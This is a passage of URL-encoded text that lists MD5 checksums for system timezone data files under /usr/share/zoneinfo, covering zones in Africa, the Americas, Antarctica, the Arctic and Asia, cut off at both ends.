e%2Fzoneinfo%2FAfrica%2FConakry%0A2f636936a69f20af8c856a12dd3428ac%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FDakar%0A21f86e3286e1b1adbc228fd2f0451fd3%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FJohannesburg%0Adbb78c5f87aaf959f43f4c273c90e020%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FDjibouti%0A0acb9f98a8c3cb936b4342bf785c07fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FDouala%0Afdbfeabed8c80fe4d190f32565819911%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FEl_Aaiun%0A83c05207129cf0d5aa705fe0d4780a27%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FFreetown%0Af47be3c7c2549fc1234173bdb8b74e1c%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FGaborone%0A9f42ab696a1b4d189af06b861203fbf3%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FHarare%0Ad8c4be0f2971f95ad5565d2fa8fe9169%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FKhartoum%0A095b39868b64a2edb48a901418ba9ab9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FKampala%0A4b37800d2aa9ddde113fc9d5d688af98%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FKinshasa%0A09bf9011e2b7bf228f9ae1c0ffdf490c%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FKigali%0Ad1a2caa8b49269d3198e8f60b6f8b49b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLibreville%0A6ac3db2b4eec920c21c7730317d4d4a3%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLagos%0A77cc861e2fc25001a436c70f092e0976%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLubumbashi%0A4ae21abf65ef26d2d732662e44f8fbbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLome%0Ae729b54fd4dc3b2dd14642159f1ff467%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLuanda%0A1c0aeadcc0fe06fc197f38474b9a7c9a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMogadishu%0A12d2702a5857db8423563b69b8d79c55%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FLusaka%0A62f2befa2d2457cea5ae64a7f4c2d25d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMalabo%0Ae4fb673a6006b4249533054961b4c73d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMaputo%0Aee02cb735dc89f13c4dc62da83c1f54c%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMaseru%0Ab82e195e075169e8966c3cdbf150c6b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMbabane%0Acc159838a58ab5b7cc0e2b4d82ff0e76%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FMonrovia%0Ad3b1514dcb52fab62cd9fad82dca8ae8%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FNairobi%0A31cd003527d9b1fd4afe510b58c153cd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FNdjamena%0A2fcea9a476c14ef765c53df26196c32f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FNiamey%0A23916f09b702bec5eebf66ce747c777a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FNouakchott%0A73bd2722f7f7f4d9ebb735c629e4cdef%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FOuagadougou%0A490197c4079132b3d13ff2d53b5f83e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FPorto-Novo%0A335e7e0ed7f2db50479e5c08feceacbe%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FSao_Tome%0A662929c5ff4a9ee263c0d1ed45888b9f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FTimbuktu%0Aa4478d1e83d12d9a381c21d38e697861%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FTunis%0Adf2200717e6335e9f8d626494d19f47f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FWindhoek%0A18167cde0c74d2c43a91e5945eb83548%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FTripoli%0Aebb72fd701bded8af364ddb97343095d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAfrica%2FCairo%0A5aa31bab43434d0a8eb39f644f921bb9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBuenos_Aires%0A98128f8d5b758117f72db10200239e2a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAnguilla%0A82c379afee77a10a2f222e901605c1c4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAntigua%0A94eeb9e4062229494161535413ddff94%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAraguaina%0A729d7fc9c7ab0f95e41f1012489fcc60%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAruba%0Ae8402dbe0c3f6db7c1fc9e402a89df4a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAsuncion%0A4740e465bb502628f55825f12d679fa9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBarbados%0A72618cc12c0a81bb8fa12456e67bb1a8%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBelem%0A90ee33c4bc621ac33f2bb1addb742a91%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBelize%0A6448f638bd40665207249b94edb28bda%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBoa_Vista%0A4979f81ba06c253664d3f2f3420dedf2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBogota%0Ab5de4596b11c51aea3a6ef9a95341897%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FBoise%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIndiana%2FIndianapolis%0Aea120bd4b95021c597ccd73aed2744c8%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIndiana%2FMarengo%0A8e5d7cc56bd3d6d42c06b60a61d22db4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIndiana%2FVevay%0Aa83da9b3c2bf9c09b2a7af3ce954c0a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIndiana%2FKnox%0Adb21dc8a6df0f3962a8f43dc71e1ea55%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FInuvik%0A4bf7f9465482735ceb6cbe87179b6a55%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCambridge_Bay%0A2434dff46d1b5f3feea1aa4e0ed476a9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCancun%0Ac55cdc3a2c27a55e927453241cf2a7e6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCaracas%0A2b99afffc9ff50c8f4fa51c82b296902%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCatamarca%0Ab334d0ffdbf5c0507d8748241d9a19fc%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCayenne%0Ae5ec2d70551b76ec5893897527db3c39%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCayman%0Ac4f47de900b4c0ac5170a2d06addb19f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FChihuahua%0A4be8c4586ddae27bdb6d9d659965a11e%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCordoba%0A5512633fab501b4cbae9d164d5e8e2db%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCosta_Rica%0A60353b0ef9f666febc045498d08e7fe7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCuiaba%0A05e9327f9e392e76eddab757d8e7efee%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FCuracao%0A5aac58dcd6b80efcbfc5c0c19eeb6318%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FDawson%0A6cdcd37aa3517f478f19c51aa7e0816e%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FDawson_Creek%0Ad74349de372024d84bc00a7e9da378b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FDominica%0Aefba3d12c2b973655c9bc611692b7836%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FEirunepe%0A952dc4c8b21a0fa860f6593bef6cddff%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FEl_Salvador%0A1e5cc7cc5ef58b6e3500106ed1f5ed1b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FFortaleza%0A5720823545b16c33ea94882fc8918caf%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGlace_Bay%0A98903c40ef33a57353344f3c060ffd17%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGodthab%0Ae0ce33b581c003135a466c4012e03936%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGoose_Bay%0Acd55632ac24596a5d5fd3424b7552746%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGrand_Turk%0Aa9a531384a9f889f8a7dfd2a8abc4822%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGrenada%0Ac24061a202a2da55bbd2ca608e834204%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGuadeloupe%0A9d11f2c393ce76974587f00a790abfb4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGuatemala%0Aa7983a99ae9e865cff90aca9a56ac0e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGuayaquil%0A4d570b84954377012008972d34dfbbe0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FGuyana%0A1fb31b743501959933a3e7bb16a1913b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FHermosillo%0Ab6c9dfffd1233e59eb884aff65fb8213%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FKentucky%2FMonticello%0A0336aeb3fe6df4eff0e870292fd4c5ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FKentucky%2FLouisville%0Af2305cec27fd676ae815edd3b2736cc7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIqaluit%0A846437bd9c3db617aa7aefba3e0c99d8%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FJujuy%0Ada6be7131f120257b06c6b63f803429f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FJuneau%0A0cf98b6c707d2ad29335f66091a6e310%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMartinique%0Aa328940777113856d965bf4b6c0f1037%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FLa_Paz%0A3c599884c832c7ab3d3e541a1e5e3595%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FLima%0A149406f5233ebace1682c895f8e8d73e%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMaceio%0Ae0d83300f9200a6c82631a62e70381f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FManagua%0Aaa15e95de26a463fff913f85cb33e553%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMenominee%0A079700e5103a56df3bfcf2ba49f8a1fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMendoza%0A6dce1f927b4054ddb65d593381f34512%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMiquelon%0Abf274b9fd94fad8855fbe5da8c262139%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMerida%0A1732cbfdf15797f6d0216c27a14c82b4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPort-au-Prince%0A0cf982bb38c5a9a63ccf197590552c29%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMonterrey%0A9ecf63a382df0f455ef226238c8be24b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMontevideo%0Af47d234597db32361c30171c0806223f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMontserrat%0Ae039a1e9cde744fc66401e21012f991d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FNassau%0Ad534ab9d1c824bc4871c644e1e2845e5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FNipigon%0A58ede60af37cfc0f6f29fd6e843fff84%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FNome%0Ae5e566c6d868b3a4d111b28729f0a736%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPanama%0Abeee406f3c82dd0d5045c7296900a23a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPangnirtung%0Aa0d8be7821c1b5f8d1a9a3a32d73d0fd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FParamaribo%0A989abd045ee47dc5f19f26cbdc493171%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRio_Branco%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAdak%0A9aaa7582599d6721d6e58f652e081bf5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPort_of_Spain%0Add12bae88306b56b7747a2159b2dac2f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPorto_Velho%0A4fbe56059c0c73f91b4a5cd691019c4a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRainy_River%0A598aa6d3b2b5c1612272fcd0ac10fb79%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRankin_Inlet%0Aedc67e1aa61d5c23da0b21a38c65b7a5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRecife%0A0e5cc4b673cd88dfe70a0c912e4b7268%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRosario%0Ac3fc9a93821b71a0ff49785e7cb104ba%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSanto_Domingo%0A4f89fbf23a78662ce848dc608c5c5ce5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FScoresbysund%0A687bc5ebdecb0e3965c3486659deac9d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSt_Kitts%0A0b5cca27563a5f5954dad0838830a1c2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSt_Lucia%0A81f20c4e314b323c256f99995c25554a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSt_Vincent%0A619819d6a3a00dd289ec2b03fdb8c148%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSwift_Current%0A7e0c5f21609ad6707d8c835bc671ae84%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FTegucigalpa%0A5d430c33973648731edfe573bfac64e0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FThule%0Acd3dd92f983166886ade2b361fde206e%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FThunder_Bay%0A92f5c4620f3d50245fa23fdbf132c006%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FTortola%0A24a25fc16166cc0146ed47e1fe9735bd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FYakutat%0Ad5a43d8ccd4b84e409ba6c9fad9ad7ef%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FYellowknife%0A97853dd48411bf87466aa8dc9f712885%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FWinnipeg%0Acf327ccb9e9bcb2982db0bd4f14d8080%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FWhitehorse%0Abd4333393bb17efb3d460d6441422405%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FVancouver%0A79ac74f0d29b663c3cce497765f83a1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FVirgin%0A29cf4e2028b63259193fff5581cfe613%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAtka%0A79ac74f0d29b663c3cce497765f83a1a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSt_Thomas%0Aedd8b0176e76cdcde84e8764e1a318e7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSt_Johns%0Af5575a1b10f0c267522f9e1a3ca6b888%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSao_Paulo%0A8f031cb559484dda05d793524f47da88%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FSantiago%0A02af1835231f2a553a197fcbd19e17b5%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FRegina%0Ada099ecaed47e4a0f009ec57952b5012%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPuerto_Rico%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FIndianapolis%0A989abd045ee47dc5f19f26cbdc493171%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPorto_Acre%0A69a4d1d6d3b26e01b5219836a38fceb6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FPhoenix%0Ac5c319e99113cb65827f904a0fbdf374%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FNoronha%0A4894d160f97e824d37378342cfe73ff0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FNew_York%0Ad6f45d1f8c9115c7a866796ab8c8d722%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMontreal%0A1a5e9052b0cb341386281aa38d6c24a7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMexico_City%0A756b5f938bb85d66ec81b91636c0c44b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FMazatlan%0A24210f1a2615a304bf58b9f07f4f326a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FManaus%0A7c7836c1a47b82d402e88495c6001abf%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FLos_Angeles%0A0336aeb3fe6df4eff0e870292fd4c5ec%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FLouisville%0A598c3e5fa32cfd9ff03842dc3fc937e1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FJamaica%0Aa83da9b3c2bf9c09b2a7af3ce954c0a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FKnox_IN%0A17cd6157d9f7ee497b854cb492b74401%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FHavana%0A6a2961ab6cf33a142ad90288f51c5745%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FHalifax%0A702aa6d78a9d247ce99d7b87133ef14d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FTijuana%0A60e67814b44375a53e5a83527133dfd3%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FEdmonton%0Ac818af9bc4fd2363f4a4feff953356c0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FFort_Wayne%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FShiprock%0A702aa6d78a9d247ce99d7b87133ef14d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FEnsenada%0Ae2ff9c7814832a4da88882f5900bdc79%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FDetroit%0A50e0aefb8663f8cb2daffa91c069046a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FDenver%0A15dfb869e437999666a9ad37b8df71fb%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FChicago%0A796ec755d701a523eedf5115047d35a2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAmerica%2FAnchorage%0Aa61a04d3dbc06b6e5ae0b110b74cf264%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FDumontDUrville%0A4725727220193500e3052a5fafa7d3ce%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FCasey%0A4a45942116607d299093005c46d1e900%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FDavis%0Ae169c05ec2c25f6ae09d546600c70ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FSouth_Pole%0Ab4afd2c75b40333ed131c2a09964a665%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FMawson%0Ae920192fbf96b80388db06756321c748%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FPalmer%0A5ea2662bf9da256e6c25d9d53a22aabf%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FSyowa%0Aa4175484f9957947ca47db3a3895fdc2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FVostok%0Ae169c05ec2c25f6ae09d546600c70ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAntarctica%2FMcMurdo%0Afd888c3218f34e71dc57221143d44ccb%20%20%2Fusr%2Fshare%2Fzoneinfo%2FArctic%2FLongyearbyen%0A131b24e6ae1aa244bbcfc2c81ef94359%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FCalcutta%0Ae45ce4fd28f793ffffc95c7de79e770e%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAden%0A034c256a80fd9e76a1ca4250a7eefdaa%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAlmaty%0Aa35e3192d16a9a8722d3b4d7e6fedc30%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAmman%0A7b3ef232f15fb07cebe16a07a9b6ebe6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAnadyr%0Ac31f7778899f64cd0d91805ad1e3830b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAqtau%0Ae195c03bd1dc0accc99071e0ae7fe730%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FAqtobe%0A3ee918f9dccbedc969b2501f569e8225%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBaghdad%0A7ddf8abb9dc96b10dd122c1b66d01055%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBahrain%0Aa2b7fd50279acbf3cee41652f77cfb11%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBaku%0A4a296953fb56070ac1968ab136c78e99%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBangkok%0Ad1164209c41866e990f71f4dbf775208%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBeirut%0Af96d388f7d8cc58c136af9415b094107%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBishkek%0Afc62f2d94fcfb0909ff156e2174d3092%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FBrunei%0Ad13bf0dfd7667c9bee876b8d366632b0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKuala_Lumpur%0A84980baf2be8ce3934c0adc550ec1bda%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FChungking%0A7d171e759c62be73d0a935f919690d57%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FColombo%0A6afe54d283fe562912c0da8e3cf32d0b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FDamascus%0Aeff8b91d869f183810664a9488280e56%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FDili%0A06207c7a51fa7d7be81eed23832039f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FDubai%0A23b477db0cc84a740431accfc56f0f53%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FDushanbe%0A13bef0cb98e437f0a6b57e66c6b98904%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FGaza%0A316c57053df431ff91311f393d82b740%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FHarbin%0A1d5c67162287c6703098b892fd9d7d34%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FHovd%0Ae92131416d9a26ca466c88ecc0d0bb22%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FIrkutsk%0A98fb60a24df5b28f309fb8a2956bbfa6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FJakarta%0A802ae574869d80145a62803dbe205f7f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FJayapura%0A468adadd1ad58f27408f74ea42bd0bbd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKabul%0A0ad5098ff1690a589a563d0c3594b4f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKamchatka%0Aad52828d6c3a2c31ee2b69504a31fd91%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKarachi%0Ae1d19e33a6572dc19d93168398412656%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKashgar%0A51bd74fc2097ed0e3a843f8ea89d8106%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKatmandu%0A90ffefeeb16b04f37d3c4cc340223643%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKrasnoyarsk%0A924b06c218d919282501f338778aa495%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FNovosibirsk%0A213e85612872ef8015e0352b004f3e38%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKuching%0Aff78a86473d2feb35a3155a7a7191f25%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FKuwait%0Ac5fe6e2975c4a8ad1be4c7f8f1924303%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FMacao%0Aa418faef6059b788c56a2ad37cf42c83%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FMagadan%0Afa08b8c70df808269dfc40c6391fa47f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FManila%0Ac9e99d8184b54d6e50c21e78e9e7499f%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FMuscat%0Add3412f536357a288cdb1fd4524ac8a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FPhnom_Penh%0A69c30f6d4bc7d7d1a4e1d93f793739ad%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FOmsk%0A14c4a828abcde14b76e82fa21a5ec27a%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FUjung_Pandang%0A039b300437b0aa03da1a31607cc5811d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FPontianak%0Ae9e43558ead9a7379c3796cb80bf97f9%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FPyongyang%0Abde939d0b44ac698afc4792e8646471d%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FQatar%0Afbfc48ee066c1205d7fec64a3fc05706%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FRangoon%0A01237c88153dd1201b7d6fb9ddd6a74b%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FRiyadh%0A5ddad36c73abb0de70185a4e9a7fd2cc%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FSaigon%0A7159d21f26a2354d69886ff593fd6ea6%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FSamarkand%0A44e17587252993ae41e5212667f278f0%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FTashkent%0Ad46de433347ce59778af1e6ec7d934c7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FTbilisi%0A05c1faba0d36e75e8ceaa6ad9c1105a1%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FVientiane%0Ab1fc15c3615e1df5a3472b4702c18df2%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FUrumqi%0A0e03d10cad1bf5bbe85ce337ff191cfd%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FYekaterinburg%0Ae4ecdaf53c898830e2bde1827568d535%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FVladivostok%0A197dcf1878f925bb8af7a49b1007d1f4%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FYakutsk%0A1b6a64ba30f7663f629a8b38cc803f15%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FUlaanbaatar%0A701946c555d5e8de7e986330ae19b335%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FYerevan%0A1802f2356ef48ea41a88eb350a030db7%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FTel_Aviv%0A1b6a64ba30f7663f629a8b38cc803f15%20%20%2Fusr%2Fshare%2Fzoneinfo%2FAsia%2FUlan_Bator%0